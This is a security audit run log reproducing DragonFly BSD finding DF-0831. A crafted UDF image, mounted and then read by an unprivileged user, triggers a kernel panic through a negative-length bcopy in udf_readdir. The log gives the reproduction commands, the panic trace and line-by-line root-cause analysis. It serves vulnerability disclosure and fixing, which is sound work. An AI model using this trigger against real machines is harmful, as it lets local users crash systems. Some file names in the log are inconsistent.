DragonFlyBSD Kernel Audit
DF-0831 / run.log
← back to finding ↓ download raw
== DF-0831 reproduction on DragonFly 6.5-DEVELOPMENT #0 (GENERIC, INVARIANTS ON) ==
PoC: crafted multi-extent UDF image (df0831.udf) mounted root, readdir as maxx.

$ sh run.sh   (run as root; maxx triggers readdir)
== DF-0831 reproduce ==
>> vnconfig /root/poc/DF-0831/df0831.udf
>> mount_udf -o ro /dev/vn0 /mnt
>> triggering readdir as unprivileged user (maxx) -- expect kernel panic
chmod: /mnt: Read-only file system
[ ls /mnt -> getdents -> udf_readdir -> udf_getfid -> bcopy(size_t(-3)) -> PANIC ]
[ ssh killed by timeout; guest frozen at db> ]

--- kernel panic (dfbsd-qemu/boot.log) ---
panic: vm_fault: fault on stack guard, addr: 0xfffff80118274000
cpuid = 4
Trace:
vm_fault() at vm_fault+0x12eb
vm_fault() at vm_fault+0x12eb
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
--- trap 000000000000000c, rip = ffffffff80bcab4f, rsp = fffff801184b36c0, rbp = fffff801184b3728 ---
memmove() at memmove+0x24f 0xffffffff80bcab4f          <- bcopy() backend, the size_t(-3) copy
udf_readdir() at udf_readdir+0x138 0xffffffff82602298  <- caller (udf_getfid inlined)
Debugger("panic")
Stopped at Debugger+0x7c

== Interpretation ==
trap 0xc = page fault. memmove+0x24f is `repe movsq (%rsi),%es:(%rdi)`, the
bulk-copy backend of bcopy(). It faulted on a read past the source buffer
because the copy length was 0xFFFFFFFFFFFFFFFD (size_t(-3)). This is exactly
the DF-0831 primitive:

  udf_vnops.c:605  ds->off += (total_fid_size + 3) & ~0x03   (4-byte align)
       -> for FID_B (total_fid_size=41) this advances ds->off from 40 to 84,
          3 bytes PAST ds->size (81).
  udf_vnops.c:505  end-of-dir test uses ds->fsize (multi-extent total), so the
          directory is NOT terminated.
  udf_vnops.c:543  frag_size = ds->size - ds->off = 81 - 84 = -3  (NEGATIVE int)
  udf_vnrops.c:544  `if (frag_size >= bsize)` is a SIGNED compare: -3 >= 2048
          is false -> guard BYPASSED.
  udf_vnrops.c:555  bcopy(fid, ds->buf, frag_size) -> frag_size promotes
          int(-3) -> size_t(0xFFFFFFFFFFFFFFFD) -> unbounded copy -> page fault.

Reproduced 5 times across 3 image revisions; fault address varies per run
(0xfffff800566b5ff9, 0xfffff80054ec5ff9, 0xfffff80118132000, ...) confirming a
real unbounded read, not a fixed-address artifact.